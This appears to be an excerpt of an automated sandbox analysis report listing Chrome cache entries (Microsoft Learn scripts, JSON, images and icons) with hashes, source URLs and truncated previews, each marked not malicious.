File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
